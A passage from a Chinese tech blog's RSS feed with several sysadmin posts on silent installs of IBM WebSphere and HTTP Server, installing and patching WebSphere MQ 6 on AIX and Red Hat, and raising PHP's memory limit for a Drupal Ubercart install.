<p>manageprofiles.bat -create   -profileName Custom001   -templatePath &#8220;D:\Program Files\IBM\WebSphere\AppServer\profileTemplates\managed&#8221;    -nodeName CustomNode001   -cellName CustomNodeCell001 -hostName 192.168.11.2 -isDefault  -defaultPorts</p>
<p>启用安全时联合节点：</p>
<p>addNode.bat 192.168.11.2 8879 -profileName Custom001 -username admin -password admin</p>
<p>启用安全时添加节点及server：</p>
<p>manageprofiles.bat -create   -profileName Custom002   -templatePath &#8220;D:\Program Files\IBM\WebSphere\AppServer\profileTemplates\managed&#8221;    -nodeName CustomNode002   -cellName CustomNodeCell002 -hostName 192.168.11.2 -isDefault  -defaultPorts</p>
<p>启用安全时联合节点：</p>
<p>addNode.bat 192.168.11.2 8879 -profileName Custom002 -username admin -password admin</p>
<p>或</p>
<p>默认：</p>
<p>./manageprofiles.sh -create   -profileName Custom001   -templatePath &#8220;/opt/IBM/WebSphere/AppServer/profileTemplates/managed&#8221; -hostName rhost2 -isDefault  -defaultPorts</p>
<p>./addNode.sh rhost1 8879 -profileName Custom001 -username admin -password admin</p>
<p>例式：</p>
<p>./install -options /opt/setup/setup.txt -silent</p>
<p>-OPT silentInstallLicenseAcceptance=&#8221;true&#8221;</p>
<p>-OPT installType=&#8221;installNew&#8221;</p>
<p>-OPT profileType=&#8221;cell&#8221;</p>
<p>-OPT feature=&#8221;languagepack.console.all&#8221;</p>
<p>-OPT feature=&#8221;languagepack.server.all&#8221;</p>
<p>-OPT feature=&#8221;samplesSelected&#8221;</p>
<p>-OPT PROF_enableAdminSecurity=&#8221;true&#8221; </p>
<p>-OPT PROF_adminUserName=admin</p>
<p>-OPT PROF_adminPassword=admin</p>
<p>-OPT PROF_samplesPassword=&#8221;admin&#8221;</p>
<p>-OPT installLocation=&#8221;/opt/IBM/WebSphere/AppServer&#8221;</p>
<p>-OPT PROF_appServerProfileName=&#8221;MyServer01&#8243;</p>
<p>-OPT PROF_appServerNodeName=&#8221;MyNode01&#8243;</p>
<p>-OPT PROF_cellName=&#8221;MyCell01&#8243;</p>
<p>-OPT PROF_dmgrAdminUserName=admin</p>
<p>-OPT PROF_dmgrAdminPassword=admin</p>
<p>-OPT PROF_dmgrHost=&#8221;192.168.11.36&#8243;</p>
<p>-OPT PROF_dmgrProfileName=&#8221;MyDmgr01&#8243;</p>
<p>-OPT PROF_defaultPorts</p>
<p>-OPT PROF_hostName=&#8221;192.168.11.36&#8243;</p>
<p>-OPT PROF_isDefault</p>
<p>-OPT PROF_nodeName=&#8221;MyNode01&#8243;</p>
<p>IBM HTTP Server 静默安装：安装并创建plugin</p>
<p>脚本，双击打开： </p>
<p>#静默安装，是否接受license</p>
<p>-OPT silentInstallLicenseAcceptance=&#8221;true&#8221;</p>
<p>#安装目录</p>
<p>-OPT installLocation=&#8221;/opt/IBM/HTTPServer&#8221;</p>
<p>#HTTP监听端口</p>
<p>-OPT httpPort=&#8221;80&#8243;</p>
<p>#管理监听端口</p>
<p>-OPT adminPort=&#8221;8008&#8243;</p>
<p>#是否创建管理员权限，以进行IBM HTTP Server 管理服务器认证，用于使用WebSphere Application Server管理控制台进行IHS管理服务认证</p>
<p>-OPT createAdminAuth=&#8221;true&#8221;</p>
<p>#管理员用户名称</p>
<p>-OPT adminAuthUser=&#8221;admin&#8221;</p>
<p>#管理员用户密码</p>
<p>-OPT adminAuthPassword=&#8221;admin&#8221;</p>
<p>#管理员用户密码确认</p>
<p>-OPT adminAuthPasswordConfirm=&#8221;admin&#8221;</p>
<p># ********************************************************************</p>
<p># Set this to &#8220;true&#8221; to perform steps to setup IBM HTTP Administration </p>
<p># Server on Linux and UNIX operating systems.  When set to &#8220;true&#8221;, the </p>
<p># installation grants a user ID write access to the necessary IBM HTTP </p>
<p># Server and plug-in configuration files.  </p>
<p># ********************************************************************</p>
<p>#</p>
<p>-OPT runSetupAdmin=&#8221;true&#8221;</p>
<p># *****************************************************************************</p>
<p># Set createAdminUserGroup to &#8220;true&#8221; to create a user ID and group used </p>
<p># to setup the IBM HTTP Administration Server on Linux and UNIX operating </p>
<p># systems.  If the user ID or Group previously exists, set createAdminUserGroup </p>
<p># to &#8220;false&#8221;.</p>
<p># *****************************************************************************</p>
<p>-OPT createAdminUserGroup=www</p>
<p># **********************************************************************</p>
<p># User ID and Group name used to setup IBM HTTP Administration Server on</p>
<p># Linux and UNIX operating systems.  </p>
<p># **********************************************************************</p>
<p>-OPT setupAdminUser=&#8221;www&#8221;</p>
<p>-OPT setupAdminGroup=&#8221;www&#8221;</p>
<p>-OPT installPlugin=&#8221;true&#8221;</p>
<p># **********************************************************************************</p>
<p>#</p>
<p># Web server Definition Name</p>
<p>#</p>
<p># A web server definition allows for Web server administration through the WebSphere</p>
<p># admin console.</p>
<p>#</p>
<p>#  Note : No spaces are allowed in the Web server definition name.</p>
<p># **********************************************************************************</p>
<p>-OPT webserverDefinition=&#8221;webserver1&#8243;</p>
<p># **********************************************************************************</p>
<p>#</p>
<p># WebSphere Application Server Machine HostName</p>
<p>#</p>
<p># Enter the hostname of the WebSphere Application Server machine.</p>
<p>#</p>
<p>#  Note : Hostname is required when installPlugin is set to true.  No spaces are </p>
<p>#         allowed in the Hostname definition.</p>
<p># **********************************************************************************</p>
<p>-OPT washostname=&#8221;rhost1&#8243;</p>
<p># *******************************************</p>
<p># End features for WebSphere Plugin for the</p>
<p># IBM HTTP Server.</p>
<p># *******************************************</p>
<p>转载于 http://blog.csdn.net/myloon/archive/2009/11/13/4809290.aspx</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1432.html/feed</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Mq6 for aix 安装并打补丁 安装记录</title>
		<link>http://www.evanjiang.net.cn/archives/1430.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1430.html#comments</comments>
		<pubDate>Fri, 15 Jan 2010 14:06:06 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[ibm unix]]></category>
		<category><![CDATA[websphare]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1430</guid>
		<description><![CDATA[<p>一、	创建用户名与组：
创建用户组：
#smitty mkgroup
* Group NAME                               [mqm]
  ADMINISTRATIVE group?                  [...]]]></description>
			<content:encoded><![CDATA[<p>一、	创建用户名与组：<br />
创建用户组：<br />
#smitty mkgroup<br />
* Group NAME                               [mqm]<br />
  ADMINISTRATIVE group?                     true                                 +<br />
  Group ID                                 [205]                                 #<br />
  USER list                                []                                    +<br />
  ADMINISTRATOR list                       []                                    +<br />
  Projects                                 []                                    +<br />
创建用户名<br />
#smitty mkuser<br />
* User NAME                                [mqm]<br />
  User ID                                  [245]                                 #<br />
  ADMINISTRATIVE USER?                      false                                +<br />
  Primary GROUP                            [mqm]                                 +<br />
  Group SET                                [mqm,staff]                           +<br />
  ADMINISTRATIVE GROUPS                    []                                    +<br />
  ROLES                                    []                                    +<br />
  Another user can SU TO USER?              true                                 +<br />
  SU GROUPS                                [ALL]                                 +<br />
  HOME directory                           [/var/mqm]<br />
  Initial PROGRAM                          [/usr/bin/ksh]<br />
  User INFORMATION                         []<br />
  EXPIRATION date (MMDDhhmmyy)             [0]<br />
二、给mqm用户设置密码：<br />
    a.用root用户登陆<br />
b.passwd mqm.<br />
三、用mqm用户进入，进入第一次，系统会提示重新修改密码：再次修改密码.<br />
Mqm用户最终修改过的密码为：mqm123456<br />
四、用root进入,进入mq的安装文件存放路径：<br />
#cd /usr/mqm_install/mq6<br />
# smitty install_latest ,按下面载屏来修改<br />
<span id="more-1430"></span></p>
<p>这里ACCEPT new license agreements?一定要设置成yes ,用tab来切换。切换后，按F4 键，再按回车。选yes ,再按回车，再按回车</p>
<p>之后，就进入正常安装流程。屏幕字符会一路向下翻滚。显示安装成功的组件信息，大概貌过了一分钟，安装完成，然后按padn键，按到最后，见到botton字符，然后按F10退出smitty安装界面。<br />
五、安装成功会在/usr/mqm目录下面有如下目录与文件，安装不成功只会有licenses文件。</p>
<p>六、安装完成后的测试<br />
验证安装<br />
    1、mqm用户登录<br />
       创建队列venus.queue.manager<br />
       crtmqm -q venus.queue.manager<br />
       启动队列管理器<br />
　　　 strmqm<br />
       启用MQSC命令<br />
       runmqsc<br />
       进入环境后，定义名为ORANGE.QUEUE的本地队列<br />
       define qlocal (orange.queue)<br />
       end  (停止MQSC)</p>
<p>　　　　现在，已定义下列各项：名为venus.queue.manager的缺省队列管理器，名为ORANGE.QUEUE的队列</p>
<p>        转到/opt/mqm/samp/bin目录下，使用amqsput样本程序来将消息放入队列，以且使用amqsget样本程序来从队列取回消息<br />
        dspmq  命令可显示MQM队列状态<br />
        ./amqsput ORANGE.QUEUE<br />
        输入一行文字     for example &#8221; TEST IS&#8221;，然后以空行结束，退出<br />
　　　　./amqsget ORANGE.QUEUE<br />
        可显示刚才放入队列的消息，成功提示即证明完成。</p>
<p>七、mq补丁的安装:<br />
安装时，一定要先停掉上面为了测试安装而启动的队列管理器与队列，否则下面打补丁会不成功。会报错。<br />
#cd /usr/mqm_install/mq6pack<br />
#smitty update_all<br />
按下面的截屏来输入相关设置参数</p>
<p>这里ACCEPT new license agreements?一定要设置成yes ,用tab来切换。切换后，按F4 键，再按回车。选yes ,再按回车，再按回车</p>
<p>之后，就进入正常安装流程。屏幕字符会一路向下翻滚。显示安装成功的组件信息，大概过了一分钟，安装完成，然后按padn键，按到最后，见到botton字符，然后按F10退出smitty安装界面。</p>
<p>八、查看mq补丁升级后的版本：<br />
#/usr/mqm/bin/dspmqver<br />
如下截图所示</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1430.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>drupal CMS 系统安装ubercart 报内存不足的解决办法</title>
		<link>http://www.evanjiang.net.cn/archives/1428.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1428.html#comments</comments>
		<pubDate>Sun, 10 Jan 2010 05:02:10 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[It Tips]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1428</guid>
		<description><![CDATA[<p>这些天，新开一个网站，主要是面向女性网站的，网址为：http://www.ladyfeel.net 女情网，想着在经营这个网站时，增加这个网站的购物车功能，就在网上找到这个ubercart ，一个drupal兼容性的很好的购物车模块。谁知。在装那些match的插件时，总是提示内存不足。。页面错误提示：Fatal error: Allowed memory size of 33554432 bytes exhausted (tried to allocate 64 bytes) 等类似信息。上网找了找。找到这些信息：
I got this error:
&#8220;Fatal error: Allowed memory size of 33554432 bytes exhausted (tried to allocate 2761 bytes) in /home/gotantan/public_html/rwolfefamily/modules/views/views_cache.inc on line 146&#8243;</p>
<p>I found this solution:</p>
<p>http://drupal.org/node/76156</p>
<p>&#8220;That indicates that Drupal needed more memory than PHP was allowed to give it. </p>
<p>Increase [...]]]></description>
			<content:encoded><![CDATA[<p>这些天，新开一个网站，主要是面向女性网站的，网址为：http://www.ladyfeel.net 女情网，想着在经营这个网站时，增加这个网站的购物车功能，就在网上找到这个ubercart ，一个drupal兼容性的很好的购物车模块。谁知。在装那些match的插件时，总是提示内存不足。。页面错误提示：Fatal error: Allowed memory size of 33554432 bytes exhausted (tried to allocate 64 bytes) 等类似信息。上网找了找。找到这些信息：<br />
I got this error:<br />
&#8220;Fatal error: Allowed memory size of 33554432 bytes exhausted (tried to allocate 2761 bytes) in /home/gotantan/public_html/rwolfefamily/modules/views/views_cache.inc on line 146&#8243;</p>
<p>I found this solution:</p>
<p>http://drupal.org/node/76156</p>
<p>&#8220;That indicates that Drupal needed more memory than PHP was allowed to give it. </p>
<p>Increase PHP&#8217;s memory limit, either by adding:</p>
<p>memory_limit = 12M to your php.ini file (recommended, if you have access)<br />
ini_set(&#8216;memory_limit&#8217;, &#8216;12M&#8217;); in your sites/default/settings.php file<br />
php_value memory_limit 12M in your .htaccess file in the Drupal root<br />
Some hosts allow a PHP.ini in the root of your site.</p>
<p>Depending on the amount of modules you have enabled and their &#8216;impact&#8217; on the site you may need to increase the memory_limit even more (sometimes to 30 MB or more). Experiment with what memory value works for your needs.</p>
<p>You may need to restart your server before the php.ini settings take effect.&#8221;</p>
<p><span id="more-1428"></span>俺试了试，都不行，就认为可能是俺没权限重启外国主机。致使设置不能生效。那联络上外国主机技术支持客服。跟对方沟通后。对方给了俺以下信息，就了无信息：<br />
Your PHP.INI file is the file you need to modify in order to increase your memory limit.</p>
<p>the settings you will need to modify are these:</p>
<p>max_execution_time = 30 ; Maximum execution time of each script, in seconds (set this to something high like 300)</p>
<p>max_input_time = 60 ; Maximum amount of time each script may spend parsing request data (set this to something high like 600)</p>
<p>memory_limit = 10M ; Maximum amount of memory a script may consume (set this to something like 500M)</p>
<p>Then in the php config icon of your account, set your site to the php5 (single php.ini) settings as the Fast CGI is not compatible with some drupal installations. if you find that fast cgi works, great if not, just stay on the php 5 setting.</p>
<p>Also, you do Not need to , and you cannot reboot the server on bluehost. We have a special modification to our server that allows the php.ini files to be initialized on the fly and it does not need to be restarted every time a change is made. Therefore, make the changes in the php.ini and refresh your site a couple of times and the new settings will be applied. </p>
<p>To see if the settings you are making in your account are taking affect, put a phpinfo.php file in your account and use the <? phpinfo(); ?></p>
<p>Lastly, do not use the php_flag variable in our server. The .htaccess file does not recognize that flag and it will result in your account producing a 500 error, just make your modifications to the php.ini file itself.</p>
<p>If the above memory fix does not solve your problem, there may be a file in the drupal that is limiting your memory usage. (as this line suggests here: &#8220;ini_set(&#8216;memory_limit&#8217;, &#8216;12M&#8217;); in your sites/default ttings.php file&#8221;)</p>
<p>If all the above doesn&#8217;t work, contact the bluehost support and drupal to see if there are any other fixes to your problem and/or any other files you may need to modify.</p>
<p>Thanks</p>
<p>没办法之下，那俺只好死马当活马医。最好终于解决这个问题。原来问题是在php.ini设置的允许内存不够大。之前设成32,64,128,256m都不行。最好，俺抱着试一试的心理，将允许内存大小设为1024m，却发现，可以成功安装上ubercart，在创建内存的选项里，终于见到产品的选项。。。至此，问题，得以解决。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1428.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>IBM WebSphere MQ V6.0 for redhat4</title>
		<link>http://www.evanjiang.net.cn/archives/1426.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1426.html#comments</comments>
		<pubDate>Sat, 09 Jan 2010 09:00:25 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[websphare]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1426</guid>
		<description><![CDATA[<p>WebSphere MQ简介
Websphere MQ是IBM的商业消息中间件(Commercial Messaging Middleware)。Websphere MQ提供一个具有工业标准、安全、可靠的消息传输系统。它的功能是控制和管理一个集成的商业应用，使得组成这个商业应用的多个分支程序(模块)之间通过传递消息完成整个工作流程。Websphere MQ基本由一个消息传输系统和一个应用程序接口组成，其资源是消息和队列(Messaging and Queuing)。
消息：消息就是一个信息单元，这个信息单元可以是一个请求（Request message），也可以是一个应答(Reply message)，或者是一个报告(Report message)或一份报文(Datagram   messge)。一个消息包含两个因素——消息描述(用于定义诸如消息传输目标等)和数据消息(如应用程序数据或数据库查询等)。程序之间的通信通过传递消息而非直接调用程序。
队列:一个安全的存储消息的地方，消息的存储一般是顺序的，队列是消息分阶段地传送和接收。因为消息存放在队列中，所以应用程序可以相互独立的运行，以不同的速度，在不同的时间，在不同的地点。
消息传输系统：用于确保队列之间的消息提供，包括网络中不同系统上的远程队列之间的消息提供。并保证网络故障或关闭后的恢复。
应用程序接口：应用程序和消息系统之间通过Websphere MQ API实现的接口Websphere MQ API在所有Websphere MQ平台上是一致的。API只有14个调用，2个关键动词：发送(PUT)和接收(GET)。
        IBM Websphere MQ 保证了消息可靠性传输及只传递一次（once and only once）的特点
安装环境
WebSphere MQ 不支持含有空格的主机名，如果将MQ 安装在主机名包含空格的主机上，MQ将不能创建队列管理器（queue managers）
硬件要求
Websphere MQ for Linux,Version 6.0(x86 platform) 支持任何X86平台架构的主机
最低要求
512MB RAM
1GHZ CPU
1.5G的硬盘空间
1024*768的显示器
支持的操作系统
目前支持Red Hat Enterprise Linux AS V3.0 V4.0
    [...]]]></description>
			<content:encoded><![CDATA[<p>WebSphere MQ简介<br />
Websphere MQ是IBM的商业消息中间件(Commercial Messaging Middleware)。Websphere MQ提供一个具有工业标准、安全、可靠的消息传输系统。它的功能是控制和管理一个集成的商业应用，使得组成这个商业应用的多个分支程序(模块)之间通过传递消息完成整个工作流程。Websphere MQ基本由一个消息传输系统和一个应用程序接口组成，其资源是消息和队列(Messaging and Queuing)。<br />
消息：消息就是一个信息单元，这个信息单元可以是一个请求（Request message），也可以是一个应答(Reply message)，或者是一个报告(Report message)或一份报文(Datagram   messge)。一个消息包含两个因素——消息描述(用于定义诸如消息传输目标等)和数据消息(如应用程序数据或数据库查询等)。程序之间的通信通过传递消息而非直接调用程序。<br />
队列:一个安全的存储消息的地方，消息的存储一般是顺序的，队列是消息分阶段地传送和接收。因为消息存放在队列中，所以应用程序可以相互独立的运行，以不同的速度，在不同的时间，在不同的地点。<br />
消息传输系统：用于确保队列之间的消息提供，包括网络中不同系统上的远程队列之间的消息提供。并保证网络故障或关闭后的恢复。<br />
应用程序接口：应用程序和消息系统之间通过Websphere MQ API实现的接口Websphere MQ API在所有Websphere MQ平台上是一致的。API只有14个调用，2个关键动词：发送(PUT)和接收(GET)。<br />
        IBM Websphere MQ 保证了消息可靠性传输及只传递一次（once and only once）的特点<br />
安装环境<br />
WebSphere MQ 不支持含有空格的主机名，如果将MQ 安装在主机名包含空格的主机上，MQ将不能创建队列管理器（queue managers）<br />
硬件要求<br />
Websphere MQ for Linux,Version 6.0(x86 platform) 支持任何X86平台架构的主机<br />
最低要求<br />
512MB RAM<br />
1GHZ CPU<br />
1.5G的硬盘空间<br />
1024*768的显示器<br />
支持的操作系统<br />
<span id="more-1426"></span>目前支持Red Hat Enterprise Linux AS V3.0 V4.0<br />
        SuSE Linux Enterprise Server (SLES)V8 SP3  ,V9<br />
        注意：目前SuSE8不支持MQ Explorer 图形接口<br />
硬盘空间要求<br />
MQ所需的空间按照安装的组件的多少及队列消息存储的长短来定制<br />
例如：<br />
安装Runtime、Server、Client、Sample programs、SDK等常用组件大概需要50MB空间<br />
MQ软件的基础软件IBMJava2-SDK-1.4.2-0.0及gsk7bas-7.0-x.x需要91MB的空间</p>
<p>安装SSL支持<br />
需要g++环境<br />
Redhat环境中安装libstdc++5 rpm包即可<br />
需要IBM Global Security Kit v7<br />
该软件包已rpm包提供在MQ安装介质包中</p>
<p>操作系统环境要求<br />
c/c++编译环境<br />
命令行下执行<br />
[mqm@myserver12 bin]$ gcc -v<br />
Reading specs from /usr/lib/gcc/i386-redhat-linux/3.4.3/specs<br />
Configured with: ../configure &#8211;prefix=/usr &#8211;mandir=/usr/share/man &#8211;infodir=/usr/share/info &#8211;enable-shared &#8211;enable-threads=posix &#8211;disable-checking &#8211;with-system-zlib &#8211;enable-__cxa_atexit &#8211;disable-libunwind-exceptions &#8211;enable-java-awt=gtk &#8211;host=i386-redhat-linux<br />
Thread model: posix<br />
gcc version 3.4.3 20041212 (Red Hat 3.4.3-9.EL4)<br />
显示已经安装了gcc 3.4<br />
目前MQ支持gcc/g++ 2.9.5 、3.2、3.3、3.4<br />
WebSphere Server安装设置<br />
创建安装目录<br />
mkdir –p /opt/mqm<br />
mkdir –p /var/mqm/{log,errors}<br />
注意：mqm的安装目录及工作目录必须是以上目录，如果以上目录的空间不够，可以创建一个链接目录,方法如下：<br />
mkdir –p /bigger/mqm<br />
ln –s /bigger/mqm /opt/mqm<br />
创建用户组<br />
groupadd –g 911 mqm<br />
useradd –g 911 –d /var/mqm –u 911 –s /bin/bash mqm<br />
更改目录权限<br />
chown –R mqm:mqm /opt/mqm<br />
chown –R mqm:mqm /var/mqm<br />
注：如果其他用户想有MQ的管理员的权限，比如创建、启动队列管理器，则将其用户名加入到mqm组即可</p>
<p>设置语系环境<br />
$export LANG=zh_CN<br />
注意：上述设置中文，是需要安装mq介质包中相关的语言rpm包</p>
<p>内核参数修改<br />
Websphere MQ 使用System V IPC资源，特别是shared memory和semaphores<br />
需要修改如下资源<br />
/proc/sys/kernel/shmmax  &#8211;  The  maximum  size  of  a  shared  memory  segment.<br />
/proc/sys/kernel/shmmni  &#8211;  The  maximum  number  of  shared  memory  segments.<br />
/proc/sys/kernel/shmall  &#8211;  The  maximum  amount  of  shared  memory that  may  be  allocated.<br />
/proc/sys/kernel/sem        &#8211;  The  maximum  number  and  size  of  semaphore  sets that  may  be  allocated.<br />
/proc/sys/kernel/msgmnb  &#8211;  The  maximum  number  of  bytes  on  a  message  queue.<br />
修改方法如：<br />
echo 268435456 >/proc/sys/kernel/shmmax<br />
意思是将共享内存段的大小更改为256MB<br />
以下是我机器上的设置：<br />
net.ipv4.ip_forward = 0<br />
net.ipv4.conf.default.rp_filter = 1<br />
net.ipv4.conf.default.accept_source_route = 0<br />
kernel.sysrq = 0<br />
kernel.msgmnb=128<br />
kernel.core_uses_pid = 1<br />
kernel.shmmax=524288000<br />
kernel.sem=250 32000 100 128<br />
fs.file-max=65536<br />
kernel.shmmni=4096<br />
net.ipv4.ip_local_port_range=1024 65000<br />
net.core.rmem_default=1048576<br />
net.core.wmem_default=262144<br />
net.core.rmem_max=1048576<br />
net.core.wmem_max=262144<br />
将以上的值直接写入/etc/sysctl.conf 保证系统重启后仍然生效</p>
<p>安装WebSphere MQ 程序<br />
1.        root用户登陆<br />
上传WMQv6023Trial-x86_linux.tar.gz介质包到/tmp<br />
$cd /tmp<br />
$tar –xzvf WMQv6023Trial-x86_linux.tar.gz<br />
2.        执行mqlicense.sh接受产品许可协议<br />
$./mqlicense.sh –accept<br />
3.        安装rpm包：<br />
$rpm –ivh MQSeriesRuntime-6.0.2-3.i386.rpm<br />
$rpm –ivh MQSeriesServer-6.0.2-3.i386.rpm<br />
$rpm –ivh MQSeriesClient-6.0.2-3.i386.rpm<br />
$rpm –ivh MQSeriesSamples-6.0.2-3.i386.rpm<br />
$rpm –ivh MQSeriesMsg_Zh_CN-6.0.2-3.i386.rpm</p>
<p>验证测试MQServer<br />
mqm用户登陆设置<br />
测试环境设置<br />
        创建一个队列管理<br />
$crtmqm –q yql.queue.manager</p>
<p>you will see messages telling you that the queue manager has been created,and that the default WebSphere MQ objects have been created<br />
        启动队列管理<br />
$strmqm</p>
<p>a message tells you when the queue manager has started</p>
<p>        开启MQSC<br />
$runmqsc</p>
<p>将会显示启动了一个MQSC，接下来输入一些语句来定义一个名叫ORANAGER.QUEUE队列<br />
DEFINE QLOCAL(ORANGE.QUEUE)<br />
接着会显示队列创建成功</p>
<p>        停止MQSC<br />
end<br />
上述一系列命令指创建了一个名为yql.queue.manager的队列管理器，并创建了一个名为ORANGE.QUEUE的队列<br />
测试<br />
$cd /opt/mqm/samp/bin<br />
向队列管理器yql.queue.manager中的队列ORANGE.QUEUE上传信息<br />
$./amqsput ORANGE.QUEUE yql.queue.manager<br />
然后会显示如下信息：<br />
Sample AMQSPUT0 start<br />
target queue is ORANGE.QUEUE<br />
输入一些文本，然后敲两下回车<br />
如：jus one test<br />
从队列管理器yql.queue.manager中的队列ORANGE.QUEUE获取信息<br />
$./amqsget ORANGE.QUEUE yql.queue.manager<br />
如果能返回一下信息则成功<br />
Sample AMQSGET0 start<br />
message < jus one test ></p>
<p>WebSphere MQ Client设置<br />
环境设置<br />
        创建一个队列管理器<br />
[mqm@myserver12 bin]$ crtmqm -q lyx.queue.manager<br />
There are 90 days left in the trial period for this copy of WebSphere MQ.<br />
WebSphere MQ queue manager created.<br />
Creating or replacing default objects for lyx.queue.manager.<br />
Default objects statistics : 40 created. 0 replaced. 0 failed.<br />
Completing setup.<br />
Setup completed<br />
        启动队列管理器<br />
[mqm@myserver12 bin]$ strmqm lyx.queue.manager<br />
There are 90 days left in the trial period for this copy of WebSphere MQ.<br />
WebSphere MQ queue manager &#8216;lyx.queue.manager&#8217; starting.<br />
5 log records accessed on queue manager &#8216;lyx.queue.manager&#8217; during the log replay phase.<br />
Log replay for queue manager &#8216;lyx.queue.manager&#8217; complete.<br />
Transaction manager state recovered for queue manager &#8216;lyx.queue.manager&#8217;.<br />
WebSphere MQ queue manager &#8216;lyx.queue.manager&#8217; started.<br />
        设置队列及连接通道、监听<br />
[mqm@myserver12 bin]$ runmqsc<br />
5724-H72 (C) Copyright IBM Corp. 1994, 2005.  ALL RIGHTS RESERVED.<br />
Starting MQSC for queue manager lyx.queue.manager.<br />
定义一个名为REMOTE_QUEUE队列<br />
DEFINE QLOCAL(REMOTE_QUEUE)<br />
     1 : DEFINE QLOCAL(REMOTE_QUEUE)<br />
AMQ8006: WebSphere MQ queue created.<br />
定义一个远程连接CHANNEL2<br />
DEFINE CHANNEL(CHANNEL2) CHLTYPE (SVRCONN) TRPTYPE (TCP) MCAUSER (&#8216;MQM&#8217;)</p>
<p>     2 : DEFINE CHANNEL(CHANNEL2) CHLTYPE (SVRCONN) TRPTYPE (TCP) MCAUSER (&#8216;MQM&#8217;)<br />
AMQ8014: WebSphere MQ channel created.<br />
定义一个监听LISTENER2并监听8899端口，不指定端口则用默认的1414<br />
DEFINE LISTENER(LISTENER2) TRPTYPE (TCP) CONTROL (QMGR) PORT(8899)<br />
     3 : DEFINE LISTENER(LISTENER2) TRPTYPE (TCP) CONTROL (QMGR) PORT(8899)<br />
AMQ8626: WebSphere MQ listener created.<br />
启动监听LISTENER2<br />
START LISTENER(LISTENER2)<br />
     4 : START LISTENER(LISTENER2)<br />
AMQ8021: Request to start WebSphere MQ Listener accepted.<br />
结束<br />
END<br />
     5 : END<br />
4 MQSC commands read.<br />
No commands have a syntax error.<br />
All valid MQSC commands were processed.<br />
        设置环境变量<br />
[mqm@myserver12 bin]$ export MQSERVER=&#8217;CHANNEL2/TCP/myserver12(8899)&#8217;<br />
测试验证<br />
[mqm@myserver12 bin]$ ./amqsput REMOTE_QUEUE lyx.queue.manager<br />
Sample AMQSPUT0 start<br />
target queue is REMOTE_QUEUE<br />
I LOVE you!!!</p>
<p>Sample AMQSPUT0 end<br />
[mqm@myserver12 bin]$ ./amqsget REMOTE_QUEUE lyx.queue.manager<br />
Sample AMQSGET0 start<br />
message <I LOVE you!!!><br />
no more messages<br />
Sample AMQSGET0 end</p>
<p>MQ队列管理操作<br />
1.        创建<br />
$crtmqm -q lyx_queue_manager<br />
2.        启动<br />
$strmq lyx_queue_manager<br />
3.        停止<br />
$endmqm lyx_queue_manager<br />
4.        删除<br />
$dltmqm lyx_queue_manager<br />
5.        查看<br />
[mqm@myserver12 bin]$ dspmq<br />
QMNAME(venus.queue.manager)                               STATUS(Running)<br />
QMNAME(saturn.queue.manager)                              STATUS(Running)<br />
QMNAME(yql.queue.manager)                                 STATUS(Running)<br />
QMNAME(wwf.queue.manager)                                 STATUS(Running)<br />
QMNAME(lyx.queue.manager)                                 STATUS(Running)</p>
<p>总结：在定义队列名称尽量用大写1否则用小写时amqsput/amqsget读不到队列名称</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1426.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>IBM MQ 使用指南</title>
		<link>http://www.evanjiang.net.cn/archives/1421.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1421.html#comments</comments>
		<pubDate>Sat, 09 Jan 2010 08:31:19 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[websphare]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1421</guid>
		<description><![CDATA[<p>随着计算机网络和分布式应用的不断发展，远程消息传递越来越成为应用系统中不可缺少的组成部分。</p>
<p>商业消息中间件的出现保证了消息传输的可靠性，高效率和安全性，同时也减少了系统的开发周期。</p>
<p>目前应用最多的消息中间件产品为IBM MQSeries。</p>
<p>本文就针对MQ的基本操作与配置进行详细的阐述，希望对读者有所帮助。 </p>
<p>一．MQ基本操作 </p>
<p>MQ中有几个很重要的组件：队列管理器（QueueManager）、队列（Queue）和通道（Channel）。其基本的操作方法如下： </p>
<p>创建队列管理器
crtmqm –q QMgrName
-q是指创建缺省的队列管理器 </p>
<p>删除队列管理器
dltmqm QmgrName </p>
<p>启动队列管理器
strmqm QmgrName
如果是启动默认的队列管理器，可以不带其名字

停止队列管理器
endmqm QmgrName 受控停止 </p>
<p>endmqm –i QmgrName 立即停止 </p>
<p>endmqm –p QmgrName 强制停止 </p>
<p>显示队列管理器
dspmq –m QmgrName </p>
<p>运行MQSeries命令
runmqsc QmgrName
如果是默认队列管理器，可以不带其名字 </p>
<p>往队列中放消息
amqsput QName QmgrName
如果队列是默认队列管理器中的队列，可以不带其队列管理器的名字 </p>
<p>从队列中取出消息
amqsget QName QmgrName
如果队列是默认队列管理器中的队列，可以不带其队列管理器的名字 </p>
<p>启动通道
runmqchl –c ChlName –m QmgrName </p>
<p>启动侦听
runmqlsr –t TYPE –p PORT –m QMgrName </p>
<p>停止侦听
endmqlsr -m QmgrName </p>
<p>MQSeries命令 </p>
<p>定义死信队列
DEFINE QLOCAL（QNAME） DEFPSIST（YES） REPLACE </p>
<p>设定队列管理器的死信队列
ALTER QMGR DEADQ（QNAME） [...]]]></description>
			<content:encoded><![CDATA[<p>随着计算机网络和分布式应用的不断发展，远程消息传递越来越成为应用系统中不可缺少的组成部分。</p>
<p>商业消息中间件的出现保证了消息传输的可靠性，高效率和安全性，同时也减少了系统的开发周期。</p>
<p>目前应用最多的消息中间件产品为IBM MQSeries。</p>
